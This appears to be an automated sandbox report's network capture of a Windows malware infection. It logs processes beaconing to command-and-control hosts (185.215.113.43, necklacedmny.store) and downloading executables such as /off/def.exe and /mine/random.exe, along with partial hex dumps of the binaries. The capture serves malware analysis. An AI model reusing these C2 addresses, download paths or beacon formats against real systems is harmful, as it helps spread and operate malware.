b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@K@pK@WkD,K8,K @.rsrcD@.idata @ *@goqfmtntp1@dqkmyhqi0K@.taggant0@K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	50115	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:55.430799007 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 23:38:56.028024912 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 25770 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 23:39:00.220128059 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 23:39:00.345557928 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 25775 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 23:39:10.435267925 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 23:39:11.235193014 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 23:39:11.359992027 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 25786 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50116	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:55.667256117 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 23:38:56.577131033 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50119	185.215.113.16	80	6424	C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:57.364245892 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 23:38:58.308146000 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:58 GMT Content-Type: application/octet-stream Content-Length: 2812416 Last-Modified: Thu, 31 Oct 2024 21:45:05 GMT Connection: keep-alive ETag: "6723fa61-2aea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 68 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +h+`Ui` @ @.rsrc`2@.idata 8@mumtztzr*:@ueaihgqr @+@.taggant@`+"*@
Oct 31, 2024 23:38:58.308208942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:58.308262110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:58.308295965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:58.308330059 CET	748	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:58.308362961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:58.308396101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:58.308429003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:58.308461905 CET	1236	IN	Data Raw: 55 59 f3 d4 84 3b 91 75 44 fe 65 ad 14 bc a1 cd 30 93 f6 52 3d 8b 5f fa c6 49 95 db 7b c0 74 ea 57 e0 53 8f a1 59 b0 e1 6a 50 85 1e 55 62 9d 52 66 d0 65 4a bc 44 59 58 ac 7a 50 76 ce 4a a1 f2 1e 16 d9 38 a6 e4 5a 5c 1f 55 53 e2 22 a2 53 6d ec c8 Data Ascii: UY;uDe0R=_I{tWSYjPUbRfeJDYXzPvJ8Z\US"Sm5Bo*5m:Kdpj[~X>,\)=INmzS=>Ngx QYzY"Ei1aW!]UOZ)Q=J=} QTn0@mV]Tnp\|4?WrP_xg_`644igR0/dV&p%M
Oct 31, 2024 23:38:58.308494091 CET	1236	IN	Data Raw: 4c bf 90 4f 62 34 17 89 ff 8b 9c 31 78 6a a2 b9 a6 91 cb 95 7e 55 6a a7 aa 7a 7f f1 70 7a c8 1d a9 fb 8e 00 3a 5d c3 f0 d4 99 6d d6 e2 6c 58 df 3f 8e 4c c2 75 d9 8d 9e e0 ec cd d3 20 63 98 6f 27 81 57 b3 9b 5b 60 b5 2c 6e 5f 5f 78 24 6b 8f 5f 99 Data Ascii: LOb41xj~Ujzpz:]mlX?Lu co'W[`,n__x$k_xy*at@<{)[4T {y$4;sX]{(\|+cRvAwGRsDY5iXE}HNG$e[?`
Oct 31, 2024 23:38:58.313371897 CET	1236	IN	Data Raw: 66 9d ee 64 80 89 bd 8c f5 7d cf ba cc 60 d1 d1 a7 76 f3 70 65 8b 24 76 87 dd 00 b1 8b 62 72 8f 32 31 75 f1 3b 86 48 ff 4a 9e f1 aa 73 c3 4e 95 d8 63 76 1b db 62 23 e7 82 03 12 ae 2c cc 53 a2 88 5c 9d 65 ac 99 26 52 0e 85 b0 f0 53 6a 40 bb 43 44 Data Ascii: fd}`vpe$vbr21u;HJsNcvb#,S\e&RSj@CDRYgl Ft]luSnN2>%PDV{B>g)_.+@T4RMqg./YlY_Joa6}8OX]9\|lt7{ghX:p![~kB+1kj(*Zfmwa
Oct 31, 2024 23:39:00.004961014 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 23:39:00.295193911 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:39:00 GMT Content-Type: application/octet-stream Content-Length: 1890816 Last-Modified: Thu, 31 Oct 2024 22:34:53 GMT Connection: keep-alive ETag: "6724060d-1cda00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@K@pK@WkD,K8,K @.rsrcD@.idata @ *@goqfmtntp1@dqkmyhqi0K@.taggant0@K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50121	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:58.089389086 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 23:38:58.996017933 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50125	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:39:00.746052980 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 23:39:01.622875929 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:39:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50129	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:39:03.152116060 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 23:39:04.066777945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:39:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	50139	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:39:13.585232019 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.97.3	443	7356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:37:00 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 22:37:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 22:37:00 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=joak0t05375jh5ie11c4rfgjvs; expires=Mon, 24-Feb-2025 16:23:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FjKNs0jjWTcRYjLPVoym4SYb09hbQXOzxp1klryY5gnSJNhL8rymnEkGeMvtP5IxzaU9FKnB76U45ntnW0uXel%2FKH6RtscYHqRrd1iAmRAlHKRWUK%2BVz23z9%2FvWfaA8kFnXP4AU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db7208ceb104868-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1132&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=2167664&cwnd=251&unsent_bytes=0&cid=2d4fe51358a21746&ts=630&x=0"
2024-10-31 22:37:00 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 22:37:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.97.3	443	7356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:37:01 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 22:37:01 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 22:37:02 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=toks16g8v5c0f38ad873k8o5pm; expires=Mon, 24-Feb-2025 16:23:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KNlT%2Bq%2BSV8gw%2FMhzq7q4n2VivteGP3XKA6nuy2LAYl6XdfK6i%2BvFgmo2Gngcf0LXS1kGE7XWjJ1z%2FV%2FTo0AUBWatRDFmPF2U8ZiPVRO%2BUQcc2JEtMH7fOyftIQExSV32k4RiZv8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db720940bd3464d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1228&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2324237&cwnd=251&unsent_bytes=0&cid=776b8130ab61e8ae&ts=703&x=0"
2024-10-31 22:37:02 UTC	348	IN	Data Raw: 34 34 36 63 0d 0a 68 63 35 7a 59 5a 77 4e 4d 6a 66 70 38 58 54 4a 77 42 33 53 32 4a 67 39 77 45 41 58 76 4a 72 4f 51 54 32 54 49 47 34 31 6a 2f 76 2b 37 41 56 44 70 6a 6b 65 46 5a 71 55 56 76 4f 30 62 36 65 39 74 42 2b 68 4a 44 57 47 2f 4b 38 74 54 76 59 4d 54 45 50 69 32 62 2b 6f 45 67 33 76 61 42 34 56 6a 49 6c 57 38 35 74 6d 38 4c 33 32 48 2f 70 69 63 74 62 34 72 79 31 66 38 6b 73 42 52 65 4f 59 37 61 49 55 43 66 6c 75 56 6c 61 46 6e 42 47 73 70 58 79 34 74 76 46 51 71 43 30 31 6b 4c 69 72 4f 78 2b 70 41 69 4e 51 2b 35 72 49 72 77 41 4b 76 6e 41 65 54 4d 75 55 47 75 76 36 50 37 4f 39 2b 6c 47 6d 4a 48 7a 55 38 71 59 6c 58 76 64 4b 48 6c 7a 70 6b 2b 32 73 46 77 6a 7a 5a 30 4a 62 6a 35 73 61 71 71 39 38 38 50 53 36 57 4c 70 69 4c 5a 36 72 6e 69 42 4f 34 Data Ascii: 446chc5zYZwNMjfp8XTJwB3S2Jg9wEAXvJrOQT2TIG41j/v+7AVDpjkeFZqUVvO0b6e9tB+hJDWG/K8tTvYMTEPi2b+oEg3vaB4VjIlW85tm8L32H/pictb4ry1f8ksBReOY7aIUCfluVlaFnBGspXy4tvFQqC01kLirOx+pAiNQ+5rIrwAKvnAeTMuUGuv6P7O9+lGmJHzU8qYlXvdKHlzpk+2sFwjzZ0Jbj5saqq988PS6WLpiLZ6rniBO4
2024-10-31 22:37:02 UTC	1369	IN	Data Raw: 2f 73 46 77 33 2f 59 6c 42 48 67 35 67 64 72 72 42 30 75 62 66 33 58 36 38 6f 65 74 33 34 71 79 6c 56 2f 6b 67 49 57 75 43 66 35 36 78 52 54 62 35 6f 53 42 58 54 30 7a 57 75 73 6e 69 38 72 4c 68 6c 34 6a 30 37 78 37 69 72 4c 78 2b 70 41 67 52 53 37 70 72 73 6f 78 49 4c 39 58 31 51 52 34 32 65 45 37 6d 6b 65 72 36 77 2b 55 32 6f 4c 48 50 64 38 61 63 71 57 76 5a 47 54 42 6d 74 6e 76 2f 73 53 55 50 66 59 6c 74 5a 67 59 51 57 36 37 30 78 71 66 72 39 55 2b 4a 36 4e 64 72 35 71 43 4a 62 2f 30 77 49 57 2b 75 58 36 71 4d 58 43 66 35 6f 57 6c 32 44 6b 68 75 67 72 58 2b 31 74 2f 35 5a 72 69 4e 77 6e 72 62 73 4a 45 65 78 47 6b 78 35 36 70 72 31 37 69 51 41 38 47 46 58 51 38 75 4d 57 4c 4c 69 65 4c 7a 36 6f 68 2b 73 4a 33 72 4d 2b 62 34 6d 55 65 4e 4f 43 56 48 67 6d Data Ascii: /sFw3/YlBHg5gdrrB0ubf3X68oet34qylV/kgIWuCf56xRTb5oSBXT0zWusni8rLhl4j07x7irLx+pAgRS7prsoxIL9X1QR42eE7mker6w+U2oLHPd8acqWvZGTBmtnv/sSUPfYltZgYQW670xqfr9U+J6Ndr5qCJb/0wIW+uX6qMXCf5oWl2DkhugrX+1t/5ZriNwnrbsJEexGkx56pr17iQA8GFXQ8uMWLLieLz6oh+sJ3rM+b4mUeNOCVHgm
2024-10-31 22:37:02 UTC	1369	IN	Data Raw: 41 38 47 46 58 51 38 75 4d 57 4c 4c 69 65 4c 7a 36 6f 68 2b 75 4b 33 58 56 38 71 67 6a 57 50 78 48 44 31 44 75 6c 4f 43 6d 48 77 54 36 59 31 6c 59 6a 5a 4d 52 72 36 64 74 74 62 50 32 55 2b 4a 73 4e 64 6e 67 37 48 73 66 33 6b 55 61 56 4d 4b 61 39 71 56 52 48 4c 42 32 45 46 4b 48 30 30 37 72 70 58 71 34 73 66 78 58 6f 6a 42 77 30 50 4f 74 4b 56 6e 77 54 77 42 52 37 5a 6a 6e 71 68 30 44 2b 57 68 43 52 34 36 56 42 4b 48 69 4d 66 43 39 34 68 2f 36 59 6b 50 4f 37 37 30 31 48 63 52 42 41 6c 6e 71 6a 36 65 7a 58 78 71 2b 61 46 77 56 30 39 4d 64 71 36 35 34 75 4c 7a 2b 56 36 30 74 66 4d 7a 35 6f 43 31 4e 39 6b 49 46 57 65 4b 56 37 71 45 57 44 76 56 6c 58 56 47 4d 6b 6c 62 6c 34 6e 69 6f 2b 71 49 66 6c 44 4a 34 30 74 61 6e 4c 31 61 78 58 55 4a 4f 72 5a 37 72 37 45 Data Ascii: A8GFXQ8uMWLLieLz6oh+uK3XV8qgjWPxHD1DulOCmHwT6Y1lYjZMRr6dttbP2U+JsNdng7Hsf3kUaVMKa9qVRHLB2EFKH007rpXq4sfxXojBw0POtKVnwTwBR7Zjnqh0D+WhCR46VBKHiMfC94h/6YkPO7701HcRBAlnqj6ezXxq+aFwV09Mdq654uLz+V60tfMz5oC1N9kIFWeKV7qEWDvVlXVGMklbl4nio+qIflDJ40tanL1axXUJOrZ7r7E
2024-10-31 22:37:02 UTC	1369	IN	Data Raw: 58 6c 71 4b 6c 78 4f 75 70 6e 69 30 76 50 55 66 37 47 4a 79 78 72 6a 30 59 33 44 57 64 30 35 32 31 39 6e 34 34 67 68 44 2b 57 4d 51 44 63 75 66 46 61 65 71 63 4c 61 7a 39 6c 57 72 4b 58 6e 56 2f 4b 41 71 57 76 64 44 43 56 4c 73 6e 65 75 6d 46 77 44 39 59 46 39 61 67 39 4e 59 36 36 56 6e 38 4f 4b 36 65 72 55 70 65 39 69 34 73 32 31 47 73 55 55 41 46 37 58 5a 36 36 55 58 42 66 74 6a 55 56 4f 44 6c 68 36 76 6f 33 6d 32 75 66 56 62 70 79 4e 36 32 76 53 69 4b 56 37 77 54 67 64 59 35 70 79 6e 34 6c 45 45 35 69 38 49 46 62 71 51 41 4c 79 79 63 2f 43 6c 74 45 62 69 4a 58 6d 65 6f 4f 77 69 54 66 74 49 41 6c 4c 69 6e 4f 53 6a 46 67 37 34 59 31 70 63 67 35 55 5a 6f 72 42 38 76 4c 54 39 55 61 34 73 65 4e 54 37 6f 57 4d 52 73 55 55 55 46 37 58 5a 79 36 73 63 4c 66 56 Data Ascii: 